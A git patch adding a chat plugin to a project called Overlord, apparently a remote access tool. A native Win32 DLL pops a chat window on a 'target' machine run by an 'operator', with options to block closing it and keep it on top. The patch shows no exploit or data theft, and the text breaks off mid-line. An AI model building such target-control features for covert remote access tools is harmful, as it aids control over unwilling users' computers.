From 30b6c63cfc3f5b3f4d8a443e8a335694ddbfac59 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Wed, 13 May 2026 10:11:22 -0500 Subject: [PATCH] chat plugin (fully AI I'm not writing ts) --- .gitignore | 2 + plugins/chat/build.bat | 101 ++++++ plugins/chat/chat.css | 269 ++++++++++++++++ plugins/chat/chat.html | 68 ++++ plugins/chat/chat.js | 208 +++++++++++++ plugins/chat/native/plugin.cpp | 554 +++++++++++++++++++++++++++++++++ plugins/chat/server.js | 84 +++++ 7 files changed, 1286 insertions(+) create mode 100644 plugins/chat/build.bat create mode 100644 plugins/chat/chat.css create mode 100644 plugins/chat/chat.html create mode 100644 plugins/chat/chat.js create mode 100644 plugins/chat/native/plugin.cpp create mode 100644 plugins/chat/server.js diff --git a/.gitignore b/.gitignore index 4a7c683..54cc5b7 100644 --- a/.gitignore +++ b/.gitignore @@ -69,6 +69,8 @@ Overlord-Server/plugins/* plugins/toxi/* plugins/toxi copy/* +*.zip + # Runtime data Overlord-Server/data/ diff --git a/plugins/chat/build.bat b/plugins/chat/build.bat new file mode 100644 index 0000000..c17d24f --- /dev/null +++ b/plugins/chat/build.bat @@ -0,0 +1,101 @@ +@echo off +setlocal enabledelayedexpansion + +set "PLUGIN_DIR=%~dp0" +set "NATIVE_DIR=%PLUGIN_DIR%native" +set "PLUGIN_NAME=chat" +set "ZIP_OUT=%PLUGIN_DIR%%PLUGIN_NAME%.zip" + +if not exist "%NATIVE_DIR%\plugin.cpp" ( + echo [error] native\plugin.cpp not found in %NATIVE_DIR% + exit /b 1 +) + +REM Build targets - chat plugin is Windows-only (Win32 user32/gdi32) +if not defined BUILD_TARGETS set "BUILD_TARGETS=windows-amd64" + +set "BUILT_FILES=" +for %%T in (%BUILD_TARGETS%) do ( + for /f "tokens=1,2 delims=-" %%A in ("%%T") do ( + set "TARGET_OS=%%A" + set "TARGET_ARCH=%%B" + ) + + if not "!TARGET_OS!"=="windows" ( + echo [error] chat plugin only supports windows targets, got !TARGET_OS!-!TARGET_ARCH! + exit /b 1 + ) + + set "OUTFILE=%PLUGIN_DIR%%PLUGIN_NAME%-!TARGET_OS!-!TARGET_ARCH!.dll" + if exist "!OUTFILE!" del /f /q "!OUTFILE!" + + set "CL_MACHINE=/machine:X64" + set "GXX_CMD=x86_64-w64-mingw32-g++" + if "!TARGET_ARCH!"=="arm64" ( + set "CL_MACHINE=/machine:ARM64" + set "GXX_CMD=aarch64-w64-mingw32-g++" + ) + + echo [build] cl /LD /EHsc /O2 plugin.cpp /Fe:!OUTFILE! + pushd "%NATIVE_DIR%" + cl /nologo /LD /EHsc /O2 plugin.cpp /Fe:"!OUTFILE!" user32.lib gdi32.lib uxtheme.lib dwmapi.lib /link !CL_MACHINE! >nul 2>&1 + set "CL_STATUS=!errorlevel!" + popd + if not "!CL_STATUS!"=="0" ( + echo [build] cl failed, trying !GXX_CMD!... + !GXX_CMD! -shared -O2 -s -static -o "!OUTFILE!" "%NATIVE_DIR%\plugin.cpp" -luser32 -lgdi32 -luxtheme -ldwmapi + if errorlevel 1 ( + echo [error] build failed for !TARGET_OS!-!TARGET_ARCH! + exit /b 1 + ) + ) + + REM Clean MSVC build artifacts + if exist "%NATIVE_DIR%\plugin.obj" del /f /q "%NATIVE_DIR%\plugin.obj" + if exist "%PLUGIN_DIR%%PLUGIN_NAME%-!TARGET_OS!-!TARGET_ARCH!.exp" del /f /q "%PLUGIN_DIR%%PLUGIN_NAME%-!TARGET_OS!-!TARGET_ARCH!.exp" + if exist "%PLUGIN_DIR%%PLUGIN_NAME%-!TARGET_OS!-!TARGET_ARCH!.lib" del /f /q "%PLUGIN_DIR%%PLUGIN_NAME%-!TARGET_OS!-!TARGET_ARCH!.lib" + + echo [ok] !OUTFILE! +) + +if exist "%ZIP_OUT%" del /f /q "%ZIP_OUT%" + +set "ZIP_SOURCES=" +for %%T in (%BUILD_TARGETS%) do ( + for /f "tokens=1,2 delims=-" %%A in ("%%T") do ( + set "TARGET_OS=%%A" + set "TARGET_ARCH=%%B" + ) + set "ZIP_SOURCES=!ZIP_SOURCES!,'%PLUGIN_DIR%%PLUGIN_NAME%-!TARGET_OS!-!TARGET_ARCH!.dll'" +) + +if exist "%PLUGIN_DIR%%PLUGIN_NAME%.html" set "ZIP_SOURCES=!ZIP_SOURCES!,'%PLUGIN_DIR%%PLUGIN_NAME%.html'" +if exist "%PLUGIN_DIR%%PLUGIN_NAME%.css" set "ZIP_SOURCES=!ZIP_SOURCES!,'%PLUGIN_DIR%%PLUGIN_NAME%.css'" +if exist "%PLUGIN_DIR%%PLUGIN_NAME%.js" set "ZIP_SOURCES=!ZIP_SOURCES!,'%PLUGIN_DIR%%PLUGIN_NAME%.js'" +if exist "%PLUGIN_DIR%config.json" set "ZIP_SOURCES=!ZIP_SOURCES!,'%PLUGIN_DIR%config.json'" +if exist "%PLUGIN_DIR%server.js" set "ZIP_SOURCES=!ZIP_SOURCES!,'%PLUGIN_DIR%server.js'" + +set "ZIP_SOURCES=!ZIP_SOURCES:~1!" + +powershell -NoProfile -Command "Compress-Archive -Path !ZIP_SOURCES! -DestinationPath '%ZIP_OUT%'" +if errorlevel 1 ( + echo [error] zip creation failed + exit /b 1 +) + +if defined PLUGIN_SIGN_KEY ( + where bun >nul 2>&1 + if not errorlevel 1 ( + set "SIGN_SCRIPT=%PLUGIN_DIR%..\..\Overlord-Server\scripts\plugin-sign.ts" + if exist "!SIGN_SCRIPT!" ( + echo [sign] Signing with key: %PLUGIN_SIGN_KEY% + bun run "!SIGN_SCRIPT!" --key "%PLUGIN_SIGN_KEY%" "%ZIP_OUT%" + ) else ( + echo [warn] plugin-sign.ts not found, skipping signing + ) + ) else ( + echo [warn] bun not found, skipping signing + ) +) + +echo [ok] %ZIP_OUT% diff --git a/plugins/chat/chat.css b/plugins/chat/chat.css new file mode 100644 index 0000000..3567e5b --- /dev/null +++ b/plugins/chat/chat.css @@ -0,0 +1,269 @@ +.chat-wrap { + max-width: 720px; + margin: 30px auto; + padding: 0 16px; + display: flex; + flex-direction: column; + gap: 12px; +} + +.chat-header h1 { + margin: 0 0 2px 0; + font-size: 24px; + color: #e8ecf1; +} + +.chat-sub { + margin: 0; + font-size: 13px; + color: #6b7a8d; +} + +/* Card */ +.chat-card { + background: #161a22; + border: 1px solid #222938; + border-radius: 10px; + padding: 14px; + box-shadow: 0 6px 24px rgba(0, 0, 0, 0.18); +} + +/* Config panel */ +.chat-config-toggle { + display: flex; + justify-content: space-between; + align-items: center; + cursor: pointer; + user-select: none; + color: #9aa4b2; + font-size: 13px; + font-weight: 600; + text-transform: uppercase; + letter-spacing: 0.5px; +} + +.chat-config-toggle i { + transition: transform 0.2s; +} + +.chat-config-toggle.collapsed i { + transform: rotate(-90deg); +} + +.chat-config-body { + margin-top: 12px; + overflow: hidden; + transition: max-height 0.25s ease; +} + +.chat-config-body.hidden { + max-height: 0 !important; + margin-top: 0; + padding: 0; +} + +.chat-grid { + display: grid; + grid-template-columns: 110px 1fr; + gap: 10px 14px; + align-items: center; +} + +.chat-grid label { + font-size: 13px; + color: #8892a2; +} + +.chat-field { + padding: 8px 10px; + border-radius: 6px; + border: 1px solid #2a3346; + background: #0f131b; + color: #e8ecf1; + font-size: 13px; + outline: none; + transition: border-color 0.15s; +} + +.chat-field:focus { + border-color: #2563eb; +} + +.chat-checkboxes { + display: flex; + gap: 16px; +} + +.chat-checkboxes label { + display: flex; + align-items: center; + gap: 5px; + font-size: 13px; + color: #b0b8c8; + cursor: pointer; +} + +.chat-config-actions { + display: flex; + gap: 8px; + margin-top: 14px; +} + +/* Buttons */ +.chat-btn { + padding: 8px 18px; + border: none; + border-radius: 6px; + font-size: 13px; + font-weight: 500; + cursor: pointer; + transition: background 0.15s, opacity 0.15s; +} + +.chat-btn:disabled { + opacity: 0.4; + cursor: not-allowed; +} + +.chat-btn-blue { + background: #2563eb; + color: #fff; +} + +.chat-btn-blue:hover:not(:disabled) { + background: #1d4ed8; +} + +.chat-btn-red { + background: #dc2626; + color: #fff; +} + +.chat-btn-red:hover:not(:disabled) { + background: #b91c1c; +} + +.chat-btn-muted { + background: #262c3a; + color: #9aa4b2; +} + +.chat-btn-muted:hover:not(:disabled) { + background: #303848; +} + +/* Status */ +.chat-status { + display: flex; + align-items: center; + gap: 8px; + font-size: 13px; + color: #6b7a8d; + padding: 0 4px; +} + +.chat-status-dot { + width: 8px; + height: 8px; + border-radius: 50%; + background: #555; + flex-shrink: 0; +} + +.chat-status-dot.open { + background: #22c55e; +} + +/* Messages area */ +.chat-messages { + min-height: 250px; + max-height: 450px; + overflow-y: auto; + display: flex; + flex-direction: column; + gap: 6px; + padding: 12px !important; +} + +.chat-messages:empty::before { + content: "No messages yet"; + color: #444d5e; + font-size: 13px; + text-align: center; + padding: 40px 0; + display: block; +} + +.chat-msg { + max-width: 80%; + padding: 8px 12px; + border-radius: 10px; + font-size: 13px; + line-height: 1.45; + word-break: break-word; +} + +.chat-msg.outgoing { + background: #1e3a5f; + align-self: flex-end; + border-bottom-right-radius: 3px; +} + +.chat-msg.incoming { + background: #2a2d38; + align-self: flex-start; + border-bottom-left-radius: 3px; +} + +.chat-msg-sender { + font-size: 11px; + font-weight: 600; + margin-bottom: 2px; +} + +.outgoing .chat-msg-sender { + color: #60a5fa; +} + +.incoming .chat-msg-sender { + color: #a78bfa; +} + +.chat-msg-text { + color: #dce1ea; +} + +.chat-msg-time { + font-size: 10px; + color: #505a6a; + text-align: right; + margin-top: 3px; +} + +/* Input area */ +.chat-input-area { + display: flex; + gap: 8px; +} + +.chat-msg-field { + flex: 1; +} + +/* Scrollbar */ +.chat-messages::-webkit-scrollbar { + width: 6px; +} + +.chat-messages::-webkit-scrollbar-track { + background: transparent; +} + +.chat-messages::-webkit-scrollbar-thumb { + background: #2a3346; + border-radius: 3px; +} + +.chat-messages::-webkit-scrollbar-thumb:hover { + background: #3a4a60; +} diff --git a/plugins/chat/chat.html b/plugins/chat/chat.html new file mode 100644 index 0000000..06d3160 --- /dev/null +++ b/plugins/chat/chat.html @@ -0,0 +1,68 @@ + + + + + + Chat + + + +
+
+

Chat

+

Two-way chat with target user (Windows only)

+
+ + +
+
+ Configuration + +
+
+
+ + + + + + + + + + + + + +
+ + +
+
+
+ + + +
+
+
+ + +
+ + Chat not opened +
+ + +
+ + +
+ + +
+
+ + + + diff --git a/plugins/chat/chat.js b/plugins/chat/chat.js new file mode 100644 index 0000000..97e295c --- /dev/null +++ b/plugins/chat/chat.js @@ -0,0 +1,208 @@ +(() => { + const PLUGIN_ID = "chat"; + const params = new URLSearchParams(window.location.search); + + const clientIdInput = document.getElementById("client-id"); + const operatorNameIn = document.getElementById("operator-name"); + const targetNameIn = document.getElementById("target-name"); + const windowTitleIn = document.getElementById("window-title"); + const optClosable = document.getElementById("opt-closable"); + const optOnTop = document.getElementById("opt-ontop"); + const btnOpen = document.getElementById("btn-open"); + const btnClose = document.getElementById("btn-close"); + const btnClear = document.getElementById("btn-clear"); + const statusDot = document.getElementById("status-dot"); + const statusText = document.getElementById("status-text"); + const messagesEl = document.getElementById("messages"); + const msgInput = document.getElementById("msg-input"); + const btnSend = document.getElementById("btn-send"); + const configToggle = document.getElementById("config-toggle"); + const configBody = document.getElementById("config-body"); + + let chatOpen = false; + let sseStream = null; + + clientIdInput.value = params.get("clientId") || ""; + + function getClientId() { + return clientIdInput.value.trim(); + } + + function setStatus(open) { + chatOpen = open; + statusDot.className = "chat-status-dot" + (open ? " open" : ""); + statusText.textContent = open ? "Chat is open" : "Chat not opened"; + btnOpen.disabled = open; + btnClose.disabled = !open; + msgInput.disabled = !open; + btnSend.disabled = !open; + if (open) msgInput.focus(); + } + + function formatTime(ts) { + const d = new Date(ts); + return d.toLocaleTimeString([], { hour: "2-digit", minute: "2-digit" }); + } + + function escapeHtml(s) { + const d = document.createElement("div"); + d.textContent = s; + return d.innerHTML; + } + + function appendMessage(sender, text, direction, timestamp) { + const isOut = direction === "to_target"; + const div = document.createElement("div"); + div.className = "chat-msg " + (isOut ? "outgoing" : "incoming"); + + const senderDiv = document.createElement("div"); + senderDiv.className = "chat-msg-sender"; + senderDiv.textContent = sender; + + const textDiv = document.createElement("div"); + textDiv.className = "chat-msg-text"; + textDiv.textContent = text; + + const timeDiv = document.createElement("div"); + timeDiv.className = "chat-msg-time"; + timeDiv.textContent = formatTime(timestamp || Date.now()); + + div.appendChild(senderDiv); + div.appendChild(textDiv); + div.appendChild(timeDiv); + messagesEl.appendChild(div); + messagesEl.scrollTop = messagesEl.scrollHeight; + } + + async function rpc(method, rpcParams) { + const res = await fetch(`/api/plugins/${PLUGIN_ID}/rpc`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ method, params: rpcParams }), + }); + return res.json(); + } + + async function sendPluginEvent(clientId, event, payload) { + const res = await fetch( + `/api/clients/${encodeURIComponent(clientId)}/plugins/${PLUGIN_ID}/event`, + { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ event, payload }), + } + ); + if (!res.ok) { + const t = await res.text(); + throw new Error(`Event failed: ${res.status} ${t}`); + } + } + + async function loadHistory() { + const cid = getClientId(); + if (!cid) return; + const { ok, result } = await rpc("get_history", { clientId: cid }); + if (!ok || !result) return; + messagesEl.innerHTML = ""; + for (const m of result) { + appendMessage(m.sender, m.text, m.direction, m.timestamp); + } + } + + function connectSSE() { + if (sseStream) sseStream.close(); + sseStream = new EventSource(`/api/plugins/${PLUGIN_ID}/stream`); + + sseStream.addEventListener("new_message", (e) => { + const data = JSON.parse(e.data); + if (data.clientId !== getClientId()) return; + appendMessage(data.sender, data.text, data.direction, data.timestamp); + }); + + sseStream.addEventListener("chat_status", (e) => { + const data = JSON.parse(e.data); + if (data.clientId !== getClientId()) return; + setStatus(data.status === "opened"); + }); + + sseStream.addEventListener("history_cleared", (e) => { + const data = JSON.parse(e.data); + if (data.clientId !== getClientId()) return; + messagesEl.innerHTML = ""; + }); + } + + // --- Event handlers --- + + btnOpen.addEventListener("click", async () => { + const cid = getClientId(); + if (!cid) { alert("Enter a Client ID first."); return; } + try { + await sendPluginEvent(cid, "open_chat", { + operatorName: operatorNameIn.value.trim() || "Operator", + targetName: targetNameIn.value.trim() || "User", + title: windowTitleIn.value.trim() || "Chat", + closable: optClosable.checked, + alwaysOnTop: optOnTop.checked, + }); + setStatus(true); + loadHistory(); + connectSSE(); + } catch (err) { + alert("Failed to open chat: " + err.message); + } + }); + + btnClose.addEventListener("click", async () => { + const cid = getClientId(); + if (!cid) return; + try { + await sendPluginEvent(cid, "close_chat", {}); + setStatus(false); + } catch (err) { + alert("Failed to close chat: " + err.message); + } + }); + + btnSend.addEventListener("click", async () => { + const cid = getClientId(); + const text = msgInput.value.trim(); + if (!cid || !text) return; + + const sender = operatorNameIn.value.trim() || "Operator"; + msgInput.value = ""; + msgInput.focus(); + + try { + await rpc("store_message", { clientId: cid, sender, text }); + await sendPluginEvent(cid, "chat_message", { from: sender, text }); + } catch (err) { + appendMessage("System", "Failed to send: " + err.message, "from_target", Date.now()); + } + }); + + msgInput.addEventListener("keydown", (e) => { + if (e.key === "Enter") { + e.preventDefault(); + btnSend.click(); + } + }); + + btnClear.addEventListener("click", async () => { + const cid = getClientId(); + if (!cid) return; + await rpc("clear_history", { clientId: cid }); + }); + + configToggle.addEventListener("click", () => { + configToggle.classList.toggle("collapsed"); + configBody.classList.toggle("hidden"); + }); + + // --- Init --- + + if (getClientId()) { + loadHistory(); + connectSSE(); + } +})(); diff --git a/plugins/chat/native/plugin.cpp b/plugins/chat/native/plugin.cpp new file mode 100644 index 0000000..13bd147 --- /dev/null +++ b/plugins/chat/native/plugin.cpp @@ -0,0 +1,554 @@ +/* + * Chat Plugin — spawns a Win32 chat window on the target (Windows only). + * + * Build (MSVC): + * cl /LD /EHsc /O2 plugin.cpp /Fe:chat-windows-amd64.dll user32.lib gdi32.lib uxtheme.lib dwmapi.lib + * + * Build (MinGW): + * x86_64-w64-mingw32-g++ -shared -O2 -o chat-windows-amd64.dll plugin.cpp -luser32 -lgdi32 -luxtheme -ldwmapi + */ + +#include +#include +#include +#include +#include + +#define EXPORT extern "C" __declspec(dllexport) +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +#ifndef DWMWA_USE_IMMERSIVE_DARK_MODE +#define DWMWA_USE_IMMERSIVE_DARK_MODE 20 +#endif +#ifndef DWMWA_USE_IMMERSIVE_DARK_MODE_BEFORE_20H1 +#define DWMWA_USE_IMMERSIVE_DARK_MODE_BEFORE_20H1 19 +#endif + +/* ------------------------------------------------------------------ */ +/* Constants */ +/* ------------------------------------------------------------------ */ + +#define WM_CHAT_APPEND (WM_APP + 1) +#define WM_CHAT_CLOSE (WM_APP + 2) + +#define IDC_LOG 101 +#define IDC_INPUT 102 +#define IDC_SEND 103 + +static const char *WND_CLASS_NAME = "OverlordChatWnd"; + +/* ------------------------------------------------------------------ */ +/* Host callback */ +/* ------------------------------------------------------------------ */ + +typedef void (__stdcall *host_callback_t)( + const char *event, uintptr_t eventLen, + const char *payload, uintptr_t payloadLen); + +/* ------------------------------------------------------------------ */ +/* Chat configuration */ +/* ------------------------------------------------------------------ */ + +struct ChatConfig { + char operatorName[128]; + char targetName[128]; + char title[256]; + bool closable; + bool alwaysOnTop; +}; + +/* ------------------------------------------------------------------ */ +/* Global state */ +/* ------------------------------------------------------------------ */ + +static host_callback_t g_callback = nullptr; +static CRITICAL_SECTION g_cs; +static bool g_cs_init = false; +static char g_client_id[256] = {0}; +static ChatConfig g_config = {"Operator", "User", "Chat", true, false}; +static HWND g_hwnd = NULL; +static HWND g_hwnd_log = NULL; +static HWND g_hwnd_input = NULL; +static HWND g_hwnd_send = NULL; +static HANDLE g_thread = NULL; +static bool g_class_reg = false; +static HFONT g_font = NULL; +static HBRUSH g_bg_brush = NULL; +static HBRUSH g_log_brush = NULL; +static HBRUSH g_input_brush = NULL; +static WNDPROC g_orig_input_proc = NULL; +static HINSTANCE g_hInstance = NULL; + +/* ------------------------------------------------------------------ */ +/* DllMain */ +/* ------------------------------------------------------------------ */ + +BOOL WINAPI DllMain(HINSTANCE hDll, DWORD reason, LPVOID reserved) { + (void)reserved; + if (reason == DLL_PROCESS_ATTACH) g_hInstance = hDll; + return TRUE; +} + +/* ------------------------------------------------------------------ */ +/* JSON helpers */ +/* ------------------------------------------------------------------ */ + +static std::string json_extract(const char *json, int len, const char *key) { + if (!json || len <= 0) return ""; + std::string hay(json, (size_t)len); + std::string needle = std::string("\"") + key + "\":\""; + auto pos = hay.find(needle); + if (pos == std::string::npos) { + needle = std::string("\"") + key + "\": \""; + pos = hay.find(needle); + } + if (pos == std::string::npos) return ""; + pos += needle.size(); + std::string result; + while (pos < hay.size() && hay[pos] != '"') { + if (hay[pos] == '\\' && pos + 1 < hay.size()) { + pos++; + switch (hay[pos]) { + case '"': result += '"'; break; + case '\\': result += '\\'; break; + case 'n': result += '\n'; break; + case 'r': result += '\r'; break; + case 't': result += '\t'; break; + default: result += hay[pos]; break; + } + } else { + result += hay[pos]; + } + pos++; + } + return result; +} + +static bool json_extract_bool(const char *json, int len, const char *key, bool def) { + if (!json || len <= 0) return def; + std::string hay(json, (size_t)len); + std::string needle = std::string("\"") + key + "\":"; + auto pos = hay.find(needle); + if (pos == std::string::npos) return def; + pos += needle.size(); + while (pos < hay.size() && hay[pos] == ' ') pos++; + if (pos >= hay.size()) return def; + return hay[pos] == 't'; +} + +static std::string json_escape(const std::string &s) { + std::string out; + out.reserve(s.size() + 16); + for (char c : s) { + switch (c) { + case '"': out += "\\\""; break; + case '\\': out += "\\\\"; break; + case '\n': out += "\\n"; break; + case '\r': out += "\\r"; break; + case '\t': out += "\\t"; break; + default: + if ((unsigned char)c >= 0x20) out += c; + break; + } + } + return out; +} + +/* ------------------------------------------------------------------ */ +/* send_event — call host callback */ +/* ------------------------------------------------------------------ */ + +static void send_event(const char *event, const char *payload) { + host_callback_t cb = g_callback; + if (!cb) return; + int elen = event ? (int)strlen(event) : 0; + int plen = payload ? (int)strlen(payload) : 0; + cb(event, (uintptr_t)elen, payload, (uintptr_t)plen); +} + +/* ------------------------------------------------------------------ */ +/* Chat window helpers */ +/* ------------------------------------------------------------------ */ + +static void append_to_log(const char *text) { + if (!g_hwnd_log) return; + int len = GetWindowTextLengthA(g_hwnd_log); + SendMessageA(g_hwnd_log, EM_SETSEL, (WPARAM)len, (LPARAM)len); + SendMessageA(g_hwnd_log, EM_REPLACESEL, FALSE, (LPARAM)text); + SendMessageA(g_hwnd_log, EM_SCROLLCARET, 0, 0); +} + +static void do_send_message() { + char buf[4096]; + int len = GetWindowTextA(g_hwnd_input, buf, sizeof(buf)); + if (len <= 0) return; + SetWindowTextA(g_hwnd_input, ""); + + std::string text(buf, (size_t)len); + std::string display = std::string(g_config.targetName) + ": " + text + "\r\n"; + append_to_log(display.c_str()); + + std::string payload = "{\"from\":\"" + json_escape(g_config.targetName) + + "\",\"text\":\"" + json_escape(text) + "\"}"; + send_event("chat_message", payload.c_str()); +} + +/* ------------------------------------------------------------------ */ +/* Input subclass — Enter key sends message */ +/* ------------------------------------------------------------------ */ + +static LRESULT CALLBACK InputSubclassProc(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp) { + if (msg == WM_KEYDOWN && wp == VK_RETURN) { + do_send_message(); + return 0; + } + return CallWindowProcA(g_orig_input_proc, hwnd, msg, wp, lp); +} + +/* ------------------------------------------------------------------ */ +/* Window procedure */ +/* ------------------------------------------------------------------ */ + +static LRESULT CALLBACK ChatWndProc(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp) { + switch (msg) { + + case WM_CREATE: { + g_bg_brush = CreateSolidBrush(RGB(30, 33, 40)); + g_log_brush = CreateSolidBrush(RGB(18, 20, 26)); + g_input_brush = CreateSolidBrush(RGB(35, 38, 48)); + g_font = CreateFontA(-15, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE, + DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, + CLEARTYPE_QUALITY, DEFAULT_PITCH | FF_SWISS, "Segoe UI"); + + g_hwnd_log = CreateWindowExA( + 0, "EDIT", "", + WS_CHILD | WS_VISIBLE | WS_VSCROLL | ES_MULTILINE | ES_READONLY | ES_AUTOVSCROLL, + 0, 0, 0, 0, hwnd, (HMENU)(uintptr_t)IDC_LOG, g_hInstance, NULL); + + SetWindowTheme(g_hwnd_log, L"DarkMode_Explorer", NULL); + + g_hwnd_input = CreateWindowExA( + 0, "EDIT", "", + WS_CHILD | WS_VISIBLE | ES_AUTOHSCROLL | WS_TABSTOP, + 0, 0, 0, 0, hwnd, (HMENU)(uintptr_t)IDC_INPUT, g_hInstance, NULL); + + SetWindowTheme(g_hwnd_input, L"DarkMode_Explorer", NULL); + + g_hwnd_send = CreateWindowExA( + 0, "BUTTON", "Send", + WS_CHILD | WS_VISIBLE | BS_OWNERDRAW | WS_TABSTOP, + 0, 0, 0, 0, hwnd, (HMENU)(uintptr_t)IDC_SEND, g_hInstance, NULL); + + SendMessageA(g_hwnd_log, WM_SETFONT, (WPARAM)g_font, TRUE); + SendMessageA(g_hwnd_input, WM_SETFONT, (WPARAM)g_font, TRUE); + SendMessageA(g_hwnd_send, WM_SETFONT, (WPARAM)g_font, TRUE); + + g_orig_input_proc = (WNDPROC)SetWindowLongPtrA( + g_hwnd_input, GWLP_WNDPROC, (LONG_PTR)InputSubclassProc); + + if (!g_config.closable) { + HMENU sys = GetSystemMenu(hwnd, FALSE); + if (sys) EnableMenuItem(sys, SC_CLOSE, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED); + } + + return 0; + } + + case WM_SIZE: { + RECT rc; + GetClientRect(hwnd, &rc); + int w = rc.right, h = rc.bottom; + int pad = 10, inputH = 32, btnW = 65, gap = 8; + + MoveWindow(g_hwnd_log, pad, pad, w - 2 * pad, h - inputH - 3 * pad, TRUE); + MoveWindow(g_hwnd_input, pad, h - inputH - pad, w - btnW - 2 * pad - gap, inputH, TRUE); + MoveWindow(g_hwnd_send, w - btnW - pad, h - inputH - pad, btnW, inputH, TRUE); + return 0; + } + + case WM_GETMINMAXINFO: { + MINMAXINFO *mmi = (MINMAXINFO *)lp; + mmi->ptMinTrackSize.x = 300; + mmi->ptMinTrackSize.y = 250; + return 0; + } + + case WM_COMMAND: + if (LOWORD(wp) == IDC_SEND && HIWORD(wp) == BN_CLICKED) { + do_send_message(); + SetFocus(g_hwnd_input); + return 0; + } + break; + + case WM_CTLCOLOREDIT: { + HDC hdc = (HDC)wp; + HWND ctrl = (HWND)lp; + SetTextColor(hdc, RGB(220, 225, 234)); + if (ctrl == g_hwnd_log) { + SetBkColor(hdc, RGB(18, 20, 26)); + return (LRESULT)g_log_brush; + } + SetBkColor(hdc, RGB(35, 38, 48)); + return (LRESULT)g_input_brush; + } + + case WM_CTLCOLORSTATIC: { + HDC hdc = (HDC)wp; + SetTextColor(hdc, RGB(220, 225, 234)); + SetBkColor(hdc, RGB(18, 20, 26)); + return (LRESULT)g_log_brush; + } + + case WM_ERASEBKGND: { + HDC hdc = (HDC)wp; + RECT rc; + GetClientRect(hwnd, &rc); + FillRect(hdc, &rc, g_bg_brush); + return 1; + } + + case WM_DRAWITEM: { + DRAWITEMSTRUCT *dis = (DRAWITEMSTRUCT *)lp; + if (dis->CtlID == IDC_SEND) { + COLORREF col = (dis->itemState & ODS_SELECTED) + ? RGB(29, 78, 216) + : RGB(37, 99, 235); + HBRUSH br = CreateSolidBrush(col); + FillRect(dis->hDC, &dis->rcItem, br); + DeleteObject(br); + + HPEN pen = CreatePen(PS_SOLID, 1, RGB(30, 64, 175)); + HPEN oldPen = (HPEN)SelectObject(dis->hDC, pen); + HBRUSH oldBr = (HBRUSH)SelectObject(dis->hDC, GetStockObject(NULL_BRUSH)); + RoundRect(dis->hDC, dis->rcItem.left, dis->rcItem.top, + dis->rcItem.right, dis->rcItem.bottom, 6, 6); + SelectObject(dis->hDC, oldPen); + SelectObject(dis->hDC, oldBr); + DeleteObject(pen); + + SetTextColor(dis->hDC, RGB(255, 255, 255)); + SetBkMode(dis->hDC, TRANSPARENT); + SelectObject(dis->hDC, g_font); + DrawTextA(dis->hDC, "Send", -1, &dis->rcItem, + DT_CENTER | DT_VCENTER | DT_SINGLELINE); + return TRUE; + } + break; + } + + case WM_CHAT_APPEND: { + char *text = (char *)lp; + if (text) { + append_to_log(text); + free(text); + } + return 0; + } + + case WM_CHAT_CLOSE: + DestroyWindow(hwnd); + return 0; + + case WM_CLOSE: + if (!g_config.closable) return 0; + send_event("chat_closed", "{}"); + DestroyWindow(hwnd); + return 0; + + case WM_DESTROY: + if (g_orig_input_proc && g_hwnd_input) { + SetWindowLongPtrA(g_hwnd_input, GWLP_WNDPROC, (LONG_PTR)g_orig_input_proc); + g_orig_input_proc = NULL; + } + g_hwnd_log = NULL; + g_hwnd_input = NULL; + g_hwnd_send = NULL; + g_hwnd = NULL; + if (g_font) { DeleteObject(g_font); g_font = NULL; } + if (g_bg_brush) { DeleteObject(g_bg_brush); g_bg_brush = NULL; } + if (g_log_brush) { DeleteObject(g_log_brush); g_log_brush = NULL; } + if (g_input_brush) { DeleteObject(g_input_brush); g_input_brush = NULL; } + PostQuitMessage(0); + return 0; + } + + return DefWindowProcA(hwnd, msg, wp, lp); +} + +/* ------------------------------------------------------------------ */ +/* Window thread */ +/* ------------------------------------------------------------------ */ + +static DWORD WINAPI WindowThreadProc(LPVOID) { + if (!g_class_reg) { + WNDCLASSEXA wc = {}; + wc.cbSize = sizeof(wc); + wc.style = CS_HREDRAW | CS_VREDRAW; + wc.lpfnWndProc = ChatWndProc; + wc.hInstance = g_hInstance; + wc.hCursor = LoadCursor(NULL, IDC_ARROW); + wc.lpszClassName = WND_CLASS_NAME; + wc.hbrBackground = NULL; + if (RegisterClassExA(&wc)) g_class_reg = true; + else return 1; + } + + int screenW = GetSystemMetrics(SM_CXSCREEN); + int screenH = GetSystemMetrics(SM_CYSCREEN); + int winW = 420, winH = 520; + int x = (screenW - winW) / 2; + int y = (screenH - winH) / 2; + + DWORD style = WS_OVERLAPPEDWINDOW; + if (!g_config.closable) { + style &= ~WS_SYSMENU; + style |= WS_CAPTION | WS_MINIMIZEBOX | WS_MAXIMIZEBOX | WS_THICKFRAME; + } + + g_hwnd = CreateWindowExA( + g_config.alwaysOnTop ? WS_EX_TOPMOST : 0, + WND_CLASS_NAME, g_config.title, + style, + x, y, winW, winH, + NULL, NULL, g_hInstance, NULL); + + if (!g_hwnd) return 1; + + BOOL darkTitleBar = TRUE; + if (FAILED(DwmSetWindowAttribute(g_hwnd, DWMWA_USE_IMMERSIVE_DARK_MODE, + &darkTitleBar, sizeof(darkTitleBar)))) { + DwmSetWindowAttribute(g_hwnd, DWMWA_USE_IMMERSIVE_DARK_MODE_BEFORE_20H1, + &darkTitleBar, sizeof(darkTitleBar)); + } + + ShowWindow(g_hwnd, SW_SHOW); + UpdateWindow(g_hwnd); + SetForegroundWindow(g_hwnd); + + send_event("chat_opened", "{}"); + + MSG msg; + while (GetMessageA(&msg, NULL, 0, 0) > 0) { + TranslateMessage(&msg); + DispatchMessageA(&msg); + } + + return 0; +} + +/* ------------------------------------------------------------------ */ +/* Open / close helpers */ +/* ------------------------------------------------------------------ */ + +static void close_chat_window() { + if (g_hwnd) { + PostMessageA(g_hwnd, WM_CHAT_CLOSE, 0, 0); + } + if (g_thread) { + if (WaitForSingleObject(g_thread, 5000) == WAIT_TIMEOUT) { + TerminateThread(g_thread, 0); + } + CloseHandle(g_thread); + g_thread = NULL; + } +} + +static void open_chat_window() { + close_chat_window(); + g_thread = 